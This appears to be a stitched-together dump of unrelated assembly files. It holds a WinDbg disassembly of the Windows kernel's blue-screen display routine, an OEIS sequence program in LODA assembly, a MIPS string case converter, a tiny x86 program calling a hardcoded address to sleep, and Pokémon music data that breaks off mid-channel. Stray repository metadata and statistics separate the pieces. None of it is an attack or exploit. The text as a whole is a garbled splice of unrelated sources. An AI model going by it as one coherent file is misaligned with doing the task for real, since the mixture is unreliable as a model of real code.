0: kd> uf KiDisplayBlueScreen nt!KiDisplayBlueScreen: fffff802`7551e9f0 488bc4 mov rax,rsp fffff802`7551e9f3 48895808 mov qword ptr [rax+8],rbx fffff802`7551e9f7 48897010 mov qword ptr [rax+10h],rsi fffff802`7551e9fb 48897818 mov qword ptr [rax+18h],rdi fffff802`7551e9ff 55 push rbp fffff802`7551ea00 4154 push r12 fffff802`7551ea02 4155 push r13 fffff802`7551ea04 4156 push r14 fffff802`7551ea06 4157 push r15 fffff802`7551ea08 488da858feffff lea rbp,[rax-1A8h] fffff802`7551ea0f 4881ec80020000 sub rsp,280h fffff802`7551ea16 488b0513386f00 mov rax,qword ptr [nt!_security_cookie (fffff802`75c12230)] fffff802`7551ea1d 4833c4 xor rax,rsp fffff802`7551ea20 48898570010000 mov qword ptr [rbp+170h],rax fffff802`7551ea27 33d2 xor edx,edx fffff802`7551ea29 448be1 mov r12d,ecx fffff802`7551ea2c 488d4c2460 lea rcx,[rsp+60h] fffff802`7551ea31 448d4260 lea r8d,[rdx+60h] fffff802`7551ea35 e80626edff call nt!memset (fffff802`753f1040) fffff802`7551ea3a 8b0580297100 mov eax,dword ptr [nt!KiBugCheckData (fffff802`75c313c0)] fffff802`7551ea40 4533ed xor r13d,r13d fffff802`7551ea43 33d2 xor edx,edx fffff802`7551ea45 4c896c2448 mov qword ptr [rsp+48h],r13 fffff802`7551ea4a 0f57c0 xorps xmm0,xmm0 fffff802`7551ea4d 89442444 mov dword ptr [rsp+44h],eax fffff802`7551ea51 4533c9 xor r9d,r9d fffff802`7551ea54 4c896c2420 mov qword ptr [rsp+20h],r13 fffff802`7551ea59 458d7d01 lea r15d,[r13+1] fffff802`7551ea5d 4533c0 xor r8d,r8d fffff802`7551ea60 8d4a0e lea ecx,[rdx+0Eh] fffff802`7551ea63 44887c2440 mov byte ptr [rsp+40h],r15b fffff802`7551ea68 0f11442450 movups xmmword ptr [rsp+50h],xmm0 fffff802`7551ea6d e8de5be7ff call nt!HeadlessDispatch (fffff802`75394650) fffff802`7551ea72 4533c9 xor r9d,r9d fffff802`7551ea75 4c896c2420 mov qword ptr [rsp+20h],r13 fffff802`7551ea7a 458bc7 mov r8d,r15d fffff802`7551ea7d 488d542440 lea rdx,[rsp+40h] fffff802`7551ea82 418bcf mov ecx,r15d fffff802`7551ea85 e8c65be7ff call nt!HeadlessDispatch (fffff802`75394650) fffff802`7551ea8a 458d7504 lea r14d,[r13+4] fffff802`7551ea8e 4c896c2420 mov qword ptr [rsp+20h],r13 fffff802`7551ea93 458bc6 mov r8d,r14d fffff802`7551ea96 488d542444 lea rdx,[rsp+44h] fffff802`7551ea9b 4533c9 xor r9d,r9d fffff802`7551ea9e 418d4d14 lea ecx,[r13+14h] fffff802`7551eaa2 e8a95be7ff call nt!HeadlessDispatch (fffff802`75394650) fffff802`7551eaa7 418d4e7d lea ecx,[r14+7Dh] fffff802`7551eaab e890a3feff call nt!IoSaveBugCheckProgress (fffff802`75508e40) fffff802`7551eab0 488b1db9b17d00 mov rbx,qword ptr [nt!KiBugCheckDriver (fffff802`75cf9c70)] fffff802`7551eab7 488d350a297100 lea rsi,[nt!KiBugCheckData+0x8 (fffff802`75c313c8)] fffff802`7551eabe 4885db test rbx,rbx fffff802`7551eac1 751c jne nt!KiDisplayBlueScreen+0xef (fffff802`7551eadf) Branch nt!KiDisplayBlueScreen+0xd3: fffff802`7551eac3 4533c9 xor r9d,r9d fffff802`7551eac6 458bc6 mov r8d,r14d fffff802`7551eac9 488bd6 mov rdx,rsi fffff802`7551eacc 33c9 xor ecx,ecx fffff802`7551eace e8b1020000 call nt!KiDumpParameterImages (fffff802`7551ed84) fffff802`7551ead3 488b1d96b17d00 mov rbx,qword ptr [nt!KiBugCheckDriver (fffff802`75cf9c70)] fffff802`7551eada 4885db test rbx,rbx fffff802`7551eadd 7423 je nt!KiDisplayBlueScreen+0x112 (fffff802`7551eb02) Branch nt!KiDisplayBlueScreen+0xef: fffff802`7551eadf 41b81e000000 mov r8d,1Eh fffff802`7551eae5 66443903 cmp word ptr [rbx],r8w fffff802`7551eae9 7517 jne nt!KiDisplayBlueScreen+0x112 (fffff802`7551eb02) Branch nt!KiDisplayBlueScreen+0xfb: fffff802`7551eaeb 488b4b08 mov rcx,qword ptr [rbx+8] fffff802`7551eaef 488d15aa4db1ff lea rdx,[nt!`string' (fffff802`750338a0)] fffff802`7551eaf6 e8a5cde9ff call nt!memcmp (fffff802`753bb8a0) fffff802`7551eafb 85c0 test eax,eax fffff802`7551eafd 7503 jne nt!KiDisplayBlueScreen+0x112 (fffff802`7551eb02) Branch nt!KiDisplayBlueScreen+0x10f: fffff802`7551eaff 498bdd mov rbx,r13 nt!KiDisplayBlueScreen+0x112: fffff802`7551eb02 488d4570 lea rax,[rbp+70h] fffff802`7551eb06 498bd6 mov rdx,r14 fffff802`7551eb09 4889442478 mov qword ptr [rsp+78h],rax fffff802`7551eb0e 488d4dd0 lea rcx,[rbp-30h] fffff802`7551eb12 b800010000 mov eax,100h fffff802`7551eb17 41b926000000 mov r9d,26h fffff802`7551eb1d 6689442472 mov word ptr [rsp+72h],ax fffff802`7551eb22 488d4580 lea rax,[rbp-80h] nt!KiDisplayBlueScreen+0x136: fffff802`7551eb26 48894808 mov qword ptr [rax+8],rcx fffff802`7551eb2a 4903c9 add rcx,r9 fffff802`7551eb2d c70024002600 mov dword ptr [rax],260024h fffff802`7551eb33 488d4010 lea rax,[rax+10h] fffff802`7551eb37 492bd7 sub rdx,r15 fffff802`7551eb3a 75ea jne nt!KiDisplayBlueScreen+0x136 (fffff802`7551eb26) Branch nt!KiDisplayBlueScreen+0x14c: fffff802`7551eb3c 8b0d7e287100 mov ecx,dword ptr [nt!KiBugCheckData (fffff802`75c313c0)] fffff802`7551eb42 488d542450 lea rdx,[rsp+50h] fffff802`7551eb47 e8a8f8ffff call nt!KeGetBugMessageText (fffff802`7551e3f4) fffff802`7551eb4c 84c0 test al,al fffff802`7551eb4e 7542 jne nt!KiDisplayBlueScreen+0x1a2 (fffff802`7551eb92) Branch nt!KiDisplayBlueScreen+0x160: fffff802`7551eb50 8b056a287100 mov eax,dword ptr [nt!KiBugCheckData (fffff802`75c313c0)] fffff802`7551eb56 4c8d442448 lea r8,[rsp+48h] fffff802`7551eb5b 89442430 mov dword ptr [rsp+30h],eax fffff802`7551eb5f 488d4dc0 lea rcx,[rbp-40h] fffff802`7551eb63 4533c9 xor r9d,r9d fffff802`7551eb66 488d05d342edff lea rax,[nt! ?? ::FNODOBFM::`string' (fffff802`753f2e40)] fffff802`7551eb6d 4889442428 mov qword ptr [rsp+28h],rax fffff802`7551eb72 4c896c2420 mov qword ptr [rsp+20h],r13 fffff802`7551eb77 418d510b lea edx,[r9+0Bh] fffff802`7551eb7b e814e4f9ff call nt!RtlStringCbPrintfExA (fffff802`754bcf94) fffff802`7551eb80 0fb74c2448 movzx ecx,word ptr [rsp+48h] fffff802`7551eb85 488d45c0 lea rax,[rbp-40h] fffff802`7551eb89 662bc8 sub cx,ax fffff802`7551eb8c 488d55c0 lea rdx,[rbp-40h] fffff802`7551eb90 eb0a jmp nt!KiDisplayBlueScreen+0x1ac (fffff802`7551eb9c) Branch nt!KiDisplayBlueScreen+0x1a2: fffff802`7551eb92 488b542458 mov rdx,qword ptr [rsp+58h] fffff802`7551eb97 0fb74c2450 movzx ecx,word ptr [rsp+50h] nt!KiDisplayBlueScreen+0x1ac: fffff802`7551eb9c 0fb7442472 movzx eax,word ptr [rsp+72h] fffff802`7551eba1 450fb7c5 movzx r8d,r13w fffff802`7551eba5 488b7c2478 mov rdi,qword ptr [rsp+78h] fffff802`7551ebaa 66d1e8 shr ax,1 fffff802`7551ebad 66412bc7 sub ax,r15w fffff802`7551ebb1 663bc8 cmp cx,ax fffff802`7551ebb4 660f43c8 cmovae cx,ax fffff802`7551ebb8 66443be9 cmp r13w,cx fffff802`7551ebbc 731e jae nt!KiDisplayBlueScreen+0x1ec (fffff802`7551ebdc) Branch nt!KiDisplayBlueScreen+0x1ce: fffff802`7551ebbe 4c8bcf mov r9,rdi fffff802`7551ebc1 440fb7d1 movzx r10d,cx fffff802`7551ebc5 440fb7c1 movzx r8d,cx nt!KiDisplayBlueScreen+0x1d9: fffff802`7551ebc9 0fbe02 movsx eax,byte ptr [rdx] fffff802`7551ebcc 4903d7 add rdx,r15 fffff802`7551ebcf 66418901 mov word ptr [r9],ax fffff802`7551ebd3 4d8d4902 lea r9,[r9+2] fffff802`7551ebd7 4d2bd7 sub r10,r15 fffff802`7551ebda 75ed jne nt!KiDisplayBlueScreen+0x1d9 (fffff802`7551ebc9) Branch nt!KiDisplayBlueScreen+0x1ec: fffff802`7551ebdc 410fb7c0 movzx eax,r8w fffff802`7551ebe0 664503c0 add r8w,r8w fffff802`7551ebe4 664489442470 mov word ptr [rsp+70h],r8w fffff802`7551ebea 6644892c47 mov word ptr [rdi+rax*2],r13w fffff802`7551ebef e8bc69feff call nt!InbvAcquireDisplayOwnership (fffff802`755055b0) fffff802`7551ebf4 b982000000 mov ecx,82h fffff802`7551ebf9 e842a2feff call nt!IoSaveBugCheckProgress (fffff802`75508e40) fffff802`7551ebfe 448b3dbb277100 mov r15d,dword ptr [nt!KiBugCheckData (fffff802`75c313c0)] fffff802`7551ec05 0f57c0 xorps xmm0,xmm0 fffff802`7551ec08 660f7f442460 movdqa xmmword ptr [rsp+60h],xmm0 fffff802`7551ec0e e8957de6ff call nt!BgpFwAcquireLock (fffff802`753869a8) fffff802`7551ec13 8b0557466f00 mov eax,dword ptr [nt!BgInternal+0x70 (fffff802`75c13270)] fffff802`7551ec19 a802 test al,2 fffff802`7551ec1b 741d je nt!KiDisplayBlueScreen+0x24a (fffff802`7551ec3a) Branch nt!KiDisplayBlueScreen+0x22d: fffff802`7551ec1d 4c8d4c2460 lea r9,[rsp+60h] fffff802`7551ec22 4489642420 mov dword ptr [rsp+20h],r12d fffff802`7551ec27 4c8bc3 mov r8,rbx fffff802`7551ec2a 488bd6 mov rdx,rsi fffff802`7551ec2d 418bcf mov ecx,r15d fffff802`7551ec30 e88f090b00 call nt!BgpFwDisplayBugCheckScreen (fffff802`755cf5c4) fffff802`7551ec35 488b7c2478 mov rdi,qword ptr [rsp+78h] nt!KiDisplayBlueScreen+0x24a: fffff802`7551ec3a e8197de6ff call nt!BgpFwReleaseLock (fffff802`75386958) fffff802`7551ec3f b980000000 mov ecx,80h fffff802`7551ec44 e8f7a1feff call nt!IoSaveBugCheckProgress (fffff802`75508e40) fffff802`7551ec49 4c8b7c2460 mov r15,qword ptr [rsp+60h] fffff802`7551ec4e 41bc06000000 mov r12d,6 fffff802`7551ec54 4d85ff test r15,r15 fffff802`7551ec57 7442 je nt!KiDisplayBlueScreen+0x2ab (fffff802`7551ec9b) Branch nt!KiDisplayBlueScreen+0x269: fffff802`7551ec59 488b5c2468 mov rbx,qword ptr [rsp+68h] fffff802`7551ec5e 4885db test rbx,rbx fffff802`7551ec61 7438 je nt!KiDisplayBlueScreen+0x2ab (fffff802`7551ec9b) Branch nt!KiDisplayBlueScreen+0x273: fffff802`7551ec63 488d35c641edff lea rsi,[nt! ?? ::FNODOBFM::`string' (fffff802`753f2e30)] fffff802`7551ec6a 418bd4 mov edx,r12d fffff802`7551ec6d 488bce mov rcx,rsi fffff802`7551ec70 e873020000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ec75 410fb717 movzx edx,word ptr [r15] fffff802`7551ec79 498b4f08 mov rcx,qword ptr [r15+8] fffff802`7551ec7d e866020000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ec82 418bd4 mov edx,r12d fffff802`7551ec85 488bce mov rcx,rsi fffff802`7551ec88 e85b020000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ec8d 0fb713 movzx edx,word ptr [rbx] fffff802`7551ec90 488b4b08 mov rcx,qword ptr [rbx+8] fffff802`7551ec94 e84f020000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ec99 eb2c jmp nt!KiDisplayBlueScreen+0x2d7 (fffff802`7551ecc7) Branch nt!KiDisplayBlueScreen+0x2ab: fffff802`7551ec9b 488d5d80 lea rbx,[rbp-80h] fffff802`7551ec9f 498bfe mov rdi,r14 nt!KiDisplayBlueScreen+0x2b2: fffff802`7551eca2 488b0e mov rcx,qword ptr [rsi] fffff802`7551eca5 488bd3 mov rdx,rbx fffff802`7551eca8 e80ff9ffff call nt!KiBugCheckConvertParameterValueToUnicodeString (fffff802`7551e5bc) fffff802`7551ecad 4883c310 add rbx,10h fffff802`7551ecb1 488d7608 lea rsi,[rsi+8] fffff802`7551ecb5 4883ef01 sub rdi,1 fffff802`7551ecb9 75e7 jne nt!KiDisplayBlueScreen+0x2b2 (fffff802`7551eca2) Branch nt!KiDisplayBlueScreen+0x2cb: fffff802`7551ecbb 488b7c2478 mov rdi,qword ptr [rsp+78h] fffff802`7551ecc0 488d356941edff lea rsi,[nt! ?? ::FNODOBFM::`string' (fffff802`753f2e30)] nt!KiDisplayBlueScreen+0x2d7: fffff802`7551ecc7 498bd4 mov rdx,r12 fffff802`7551ecca 488bce mov rcx,rsi fffff802`7551eccd e816020000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ecd2 0fb7542470 movzx edx,word ptr [rsp+70h] fffff802`7551ecd7 488bcf mov rcx,rdi fffff802`7551ecda e809020000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ecdf 4c392d8aaf7d00 cmp qword ptr [nt!KiBugCheckDriver (fffff802`75cf9c70)],r13 fffff802`7551ece6 741e je nt!KiDisplayBlueScreen+0x316 (fffff802`7551ed06) Branch nt!KiDisplayBlueScreen+0x2f8: fffff802`7551ece8 498bd4 mov rdx,r12 fffff802`7551eceb 488bce mov rcx,rsi fffff802`7551ecee e8f5010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ecf3 488b0d76af7d00 mov rcx,qword ptr [nt!KiBugCheckDriver (fffff802`75cf9c70)] fffff802`7551ecfa 0fb711 movzx edx,word ptr [rcx] fffff802`7551ecfd 488b4908 mov rcx,qword ptr [rcx+8] fffff802`7551ed01 e8e2010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) nt!KiDisplayBlueScreen+0x316: fffff802`7551ed06 498bd4 mov rdx,r12 fffff802`7551ed09 488bce mov rcx,rsi fffff802`7551ed0c e8d7010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ed11 498bd4 mov rdx,r12 fffff802`7551ed14 488bce mov rcx,rsi fffff802`7551ed17 e8cc010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ed1c 488d5d88 lea rbx,[rbp-78h] nt!KiDisplayBlueScreen+0x330: fffff802`7551ed20 0fb753f8 movzx edx,word ptr [rbx-8] fffff802`7551ed24 488b0b mov rcx,qword ptr [rbx] fffff802`7551ed27 e8bc010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ed2c 498bd4 mov rdx,r12 fffff802`7551ed2f 488bce mov rcx,rsi fffff802`7551ed32 e8b1010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ed37 488d5b10 lea rbx,[rbx+10h] fffff802`7551ed3b 4983ee01 sub r14,1 fffff802`7551ed3f 75df jne nt!KiDisplayBlueScreen+0x330 (fffff802`7551ed20) Branch nt!KiDisplayBlueScreen+0x351: fffff802`7551ed41 498bd4 mov rdx,r12 fffff802`7551ed44 488bce mov rcx,rsi fffff802`7551ed47 e89c010000 call nt!KiHeadlessDisplayString (fffff802`7551eee8) fffff802`7551ed4c 488b8d70010000 mov rcx,qword ptr [rbp+170h] fffff802`7551ed53 4833cc xor rcx,rsp fffff802`7551ed56 e8c5a5e9ff call nt!_security_check_cookie (fffff802`753b9320) fffff802`7551ed5b 4c8d9c2480020000 lea r11,[rsp+280h] fffff802`7551ed63 498b5b30 mov rbx,qword ptr [r11+30h] fffff802`7551ed67 498b7338 mov rsi,qword ptr [r11+38h] fffff802`7551ed6b 498b7b40 mov rdi,qword ptr [r11+40h] fffff802`7551ed6f 498be3 mov rsp,r11 fffff802`7551ed72 415f pop r15 fffff802`7551ed74 415e pop r14 fffff802`7551ed76 415d pop r13 fffff802`7551ed78 415c pop r12 fffff802`7551ed7a 5d pop rbp fffff802`7551ed7b c3 ret
55.667857
111
0.704112
33140a733282fc3cda89ba29d9d792c5e98ffc31
365
asm
Assembly
oeis/152/A152456.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/152/A152456.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/152/A152456.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A152456: a(n)=1*(n+2)!-2*(n+1)!-3*n!. ; Submitted by Jamie Morken(s3.) ; -3,-1,6,54,408,3240,28080,267120,2782080,31570560,388281600,5149267200,73287244800,1114636723200,18045906278400,309918825216000,5628230479872000,107773290713088000,2170404686241792000 add $0,2 mov $2,4 mov $3,-4 lpb $0 dif $2,2 add $3,$0 mul $3,$0 sub $0,$2 lpe mov $0,$3 add $0,1
22.8125
185
0.70137
267de58dd1d350592a301b2a1b455360590b8e83
2,794
asm
Assembly
MIPS32/Upper_Lower.asm
alexPlessias/AssemblyProgrammes
5f6da80b8dfac8eb6f51c92fb32a6d23d873aa24
[ "MIT" ]
null
null
null
MIPS32/Upper_Lower.asm
alexPlessias/AssemblyProgrammes
5f6da80b8dfac8eb6f51c92fb32a6d23d873aa24
[ "MIT" ]
null
null
null
MIPS32/Upper_Lower.asm
alexPlessias/AssemblyProgrammes
5f6da80b8dfac8eb6f51c92fb32a6d23d873aa24
[ "MIT" ]
null
null
null
.data banner: .asciiz "#############################################################\n" header: .asciiz "###### Convert Upper case to Lower case (for strings) #######\n" ask_for_string: .asciiz "\nPlease give the String you want to convert:\n" lower_msg: .asciiz "\nThe Lower case is:\n" goodbye: .asciiz "\nGoodbye !!!\n\n" string: .space 150 #150 Bytes it's OK, (1 byte == 1 char .text main: li $v0, 4 # Show message. la $a0, banner syscall li $v0, 4 # Show message. la $a0, header syscall li $v0, 4 # Show message. la $a0, banner syscall li $v0, 4 # Show message. la $a0, ask_for_string syscall la $a0,string # Start. li $a1,150 # Size of string. li $v0,8 syscall jal manage_lower_upper # Jump and link to LABEL 'manage_lower_upper'. li $v0, 4 # Show message. la $a0, lower_msg syscall li $v0, 4 # Show message. la $a0, string syscall li $v0, 4 # Show message. la $a0, goodbye syscall li $v0, 10 # Exit. syscall ######################## FUNCTION ############################# # Input the adress of string. Output the changed string. # Check all chars of string and search for Uppercase(65-90) and convert them to Lowercase(+32), # except the first character, if is Lowercase(97-122) and convert them to Uppercase(-32). manage_lower_upper : li $v0, 0 # Initialize $V0. la $t0, string # Load the address of strING into $t0. li $t1, 0 # Adress position (initialize 0). li $t2, 65 # Ascii code 65 is A. li $t3, 90 # Ascii code 90 is Z. li $t4, 97 # Ascii code 97 is a. li $t5, 122 # Ascii code 122 is z. li $t6, 32 # The absolute difference between uppercase and lowercase is 32 lb $t1, 0($t0) # Load the first byte from address in $t0 bge $t1, $t4, max_than_97 # if ($t1 >= 97) [element >= a] goto LABEL max_than_97 j pre_loop max_than_97: ble $t1, $t5, upper # AND if ($t1 <= 122)[element <= z] the first num is lower. j pre_loop upper: sub $t1, $t1,$t6 # Lowercase - 32 = upper. sb $t1, 0($t0) # Store the changed byte($t1) at ($t0). j pre_loop pre_loop: add $t0,$t0, 1 # Increase the address by 1. loop: lb $t1, 0($t0) # Load the byte from address[string($t0)] to $t1. beq $t1, $zero, end # if ($t1 == 0) then goto LABEL 'end'. bge $t1, $t2, max_than_65 # if ($t1 >= 65)[element >= A]. continue: add $t0, $t0, 1 # Increase the address by 1. j loop max_than_65: ble $t1, $t3, lower # AND if ($t1 <= 65)[element <= Z]. j continue lower: add $t1, $t1,$t6 # Uppercase + 32 = lower. sb $t1, 0($t0) # Store the changed byte($t1) at ($t0). j continue end: jr $ra
29.723404
96
0.564424
f83e9fd41ca9877b4193549824914895b50d9ab5
135
asm
Assembly
Windows/sleep.asm
Gabriel-Lima232/Assembly
6c7168f83844658431033de395c7cc0079f32e54
[ "MIT" ]
null
null
null
Windows/sleep.asm
Gabriel-Lima232/Assembly
6c7168f83844658431033de395c7cc0079f32e54
[ "MIT" ]
null
null
null
Windows/sleep.asm
Gabriel-Lima232/Assembly
6c7168f83844658431033de395c7cc0079f32e54
[ "MIT" ]
null
null
null
global _main section .text _main: xor eax, eax mov eax, 9000 push eax mov ebx, 0x754d9010 call ebx
12.272727
24
0.562963
7ba65a42217fb56d42566ebd2976039872a9f9f0
8,746
asm
Assembly
audio/music/kantogymbattle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
audio/music/kantogymbattle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
audio/music/kantogymbattle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
Music_KantoGymBattle: musicheader 3, 1, Music_KantoGymBattle_Ch1 musicheader 1, 2, Music_KantoGymBattle_Ch2 musicheader 1, 3, Music_KantoGymBattle_Ch3 Music_KantoGymBattle_Ch1: tempo 101 volume $77 dutycycle $3 tone $0002 vibrato $12, $15 notetype $c, $b2 octave 3 note A#, 1 note A_, 1 note G#, 1 note G_, 1 note G#, 1 note G_, 1 note F#, 1 note G_, 1 note F#, 1 note F_, 1 note F#, 1 note F_, 1 note E_, 1 note F_, 1 note E_, 1 note D#, 1 note E_, 1 note D#, 1 note D_, 1 note D#, 1 note D_, 1 note C#, 1 note D_, 1 note C#, 1 note C_, 1 note C#, 1 note C_, 1 octave 2 note B_, 1 octave 3 note C_, 1 octave 2 note B_, 1 note A#, 1 note B_, 1 note A#, 2 note A#, 6 note A#, 2 note A#, 6 note A#, 2 note A#, 8 intensity $b7 note B_, 2 intensity $b2 note A#, 2 note A#, 6 note A#, 2 note A#, 6 note A#, 2 note A#, 8 intensity $b7 octave 3 note E_, 2 intensity $b2 octave 2 note A#, 2 note A#, 6 note A#, 2 note A#, 6 note A#, 2 note A#, 8 intensity $b7 note B_, 2 intensity $b2 note A#, 2 note A#, 6 note A#, 2 note A#, 6 note A#, 2 intensity $b4 octave 3 note E_, 4 note E_, 4 note E_, 2 Music_KantoGymBattle_branch_ec78b: callchannel Music_KantoGymBattle_branch_ec832 octave 2 note A#, 2 intensity $b7 note G#, 8 note B_, 8 octave 3 note D#, 10 note E_, 6 callchannel Music_KantoGymBattle_branch_ec832 note D#, 2 intensity $b7 note C#, 8 octave 2 note B_, 8 note G#, 10 octave 3 note E_, 6 intensity $b2 note D#, 2 note D#, 2 note G_, 1 note E_, 1 note D#, 1 note G_, 1 note D#, 2 note D#, 2 note A#, 1 note G#, 1 note E_, 1 note A#, 1 note D#, 2 note D#, 2 note B_, 1 note A#, 1 note G#, 1 note B_, 1 note D#, 2 intensity $b7 note E_, 2 intensity $b2 note D#, 2 note D#, 2 note G_, 1 note E_, 1 note D#, 1 note G_, 1 note D#, 2 note D#, 2 note A#, 1 note G#, 1 note E_, 1 note A#, 1 note D#, 2 note D#, 2 note B_, 1 note A#, 1 note G#, 1 note B_, 1 note G#, 2 intensity $b5 note B_, 2 note D#, 2 note C#, 2 octave 2 note A#, 4 note D#, 2 note G#, 2 note B_, 2 octave 3 note E_, 2 note D#, 4 note C#, 2 octave 2 note A#, 2 note A#, 2 note D#, 2 note A#, 2 octave 3 note C#, 2 intensity $b7 octave 2 note B_, 8 note A#, 8 note G#, 10 note B_, 6 intensity $b5 octave 3 note D#, 2 note C#, 2 octave 2 note A#, 4 note D#, 2 note G#, 2 note B_, 2 octave 3 note E_, 2 note D#, 4 note C#, 2 octave 2 note A#, 2 note A#, 2 note G#, 2 note A#, 2 octave 3 note C#, 2 intensity $b7 note E_, 8 note F#, 8 note G_, 16 intensity $b2 octave 2 note G#, 2 note G#, 2 intensity $b7 octave 3 note C#, 12 intensity $b2 note G#, 2 note F_, 4 intensity $b5 octave 2 note F_, 4 note G_, 2 note G#, 2 note A#, 2 intensity $b2 note A#, 2 note A#, 2 intensity $b7 octave 3 note D#, 12 intensity $b2 note A#, 2 note G_, 4 intensity $b7 octave 4 note D#, 6 intensity $4c octave 3 note D_, 4 loopchannel 0, Music_KantoGymBattle_branch_ec78b Music_KantoGymBattle_branch_ec832: intensity $b5 note D#, 2 octave 2 note A#, 2 octave 3 note D#, 2 note E_, 4 note D#, 2 note C#, 2 octave 2 note A#, 2 note D#, 2 note G#, 2 note A#, 2 octave 3 note D#, 2 note E_, 2 note D#, 2 note C#, 2 endchannel Music_KantoGymBattle_Ch2: dutycycle $3 vibrato $8, $36 tone $0001 notetype $c, $c2 Music_KantoGymBattle_branch_ec852: octave 4 note A#, 1 note G#, 1 note A#, 1 octave 5 note D#, 1 loopchannel 8, Music_KantoGymBattle_branch_ec852 octave 3 Music_KantoGymBattle_branch_ec85d: intensity $c2 note D#, 2 note D#, 2 note F#, 1 note E_, 1 note D#, 1 note F#, 1 note D#, 2 note D#, 2 note A#, 1 note G#, 1 note F#, 1 note A#, 1 note D#, 2 note D#, 2 note B_, 1 note A#, 1 note G#, 1 note B_, 1 note D_, 2 intensity $c7 note E_, 2 intensity $c2 note D#, 2 note D#, 2 note F#, 1 note E_, 1 note D#, 1 note F#, 1 note D#, 2 note D#, 2 note A#, 1 note G#, 1 note F#, 1 note A#, 1 note D#, 2 note D#, 2 note B_, 1 note A#, 1 note G#, 1 note B_, 1 note G#, 2 intensity $c7 note B_, 2 intensity $c2 octave 4 loopchannel 2, Music_KantoGymBattle_branch_ec85d Music_KantoGymBattle_branch_ec894: callchannel Music_KantoGymBattle_branch_ec907 note E_, 8 note G#, 8 note B_, 10 note G#, 6 callchannel Music_KantoGymBattle_branch_ec907 note E_, 8 note G#, 8 note B_, 10 octave 4 note E_, 6 note D#, 8 intensity $b7 note D#, 8 intensity $a2 note __, 6 octave 5 note E_, 4 note E_, 4 note E_, 2 intensity $a0 note D#, 8 intensity $a7 note D#, 8 note __, 12 intensity $c5 octave 3 note A#, 4 note B_, 4 note G#, 4 note A#, 4 note B_, 4 note G#, 4 note E_, 4 intensity $b0 note D#, 8 note D#, 16 intensity $b7 note D#, 12 intensity $c5 note A#, 4 note B_, 4 note G#, 4 note A#, 4 note B_, 4 note G#, 4 note B_, 4 intensity $b0 note A#, 8 intensity $b7 note A#, 8 intensity $b0 octave 4 note D#, 8 intensity $b7 note D#, 8 intensity $c2 octave 3 note C#, 2 note C#, 2 intensity $c7 note F_, 8 intensity $c2 octave 4 note C#, 4 note F_, 2 note C#, 4 intensity $c7 note G#, 4 note G_, 2 note F_, 2 note D#, 2 intensity $c2 octave 3 note D#, 2 note D#, 2 intensity $c7 note G_, 8 intensity $c2 octave 4 note D#, 4 note G_, 2 note D#, 4 intensity $c7 note A#, 6 octave 3 note A_, 4 loopchannel 0, Music_KantoGymBattle_branch_ec894 Music_KantoGymBattle_branch_ec907: dutycycle $2 intensity $d1 octave 3 note A#, 2 intensity $a2 note A#, 2 intensity $d1 note G#, 2 intensity $a2 note G#, 2 intensity $d1 note A#, 2 intensity $a2 note A#, 2 intensity $c5 note B_, 2 octave 4 note C#, 2 note C#, 2 octave 3 note B_, 4 note A#, 2 note G#, 2 note F#, 2 note G#, 2 note A#, 2 dutycycle $3 intensity $b0 endchannel Music_KantoGymBattle_Ch3: notetype $c, $19 octave 2 note E_, 1 note __, 1 Music_KantoGymBattle_branch_ec934: note B_, 3 note __, 1 loopchannel 6, Music_KantoGymBattle_branch_ec934 note B_, 2 note G#, 2 note B_, 2 Music_KantoGymBattle_branch_ec93d: note D#, 1 note __, 1 note D#, 1 note __, 1 note F#, 4 note D#, 1 note __, 1 note D#, 1 note __, 1 note A#, 4 note D#, 1 note __, 1 note D#, 1 note __, 1 note B_, 4 note D_, 1 note __, 1 note F_, 2 note D#, 1 note __, 1 note D#, 1 note __, 1 note F#, 4 note D#, 1 note __, 1 note D#, 1 note __, 1 note A#, 4 note D#, 1 note __, 1 note D#, 1 note __, 1 note B_, 4 note D#, 1 note __, 1 note E_, 2 loopchannel 2, Music_KantoGymBattle_branch_ec93d Music_KantoGymBattle_branch_ec965: octave 2 note D#, 2 note A#, 2 loopchannel 8, Music_KantoGymBattle_branch_ec965 Music_KantoGymBattle_branch_ec96c: note E_, 2 note B_, 2 loopchannel 4, Music_KantoGymBattle_branch_ec96c octave 1 note B_, 2 octave 2 note E_, 2 octave 1 note B_, 2 octave 2 note E_, 4 note B_, 2 octave 3 note E_, 2 octave 2 note B_, 2 Music_KantoGymBattle_branch_ec97f: octave 2 note F#, 2 octave 3 note C#, 2 loopchannel 8, Music_KantoGymBattle_branch_ec97f Music_KantoGymBattle_branch_ec987: octave 2 note E_, 2 note B_, 2 loopchannel 7, Music_KantoGymBattle_branch_ec987 octave 3 note E_, 2 octave 2 note B_, 2 Music_KantoGymBattle_branch_ec992: note D#, 1 note __, 1 note D#, 1 note __, 1 note A#, 4 note D#, 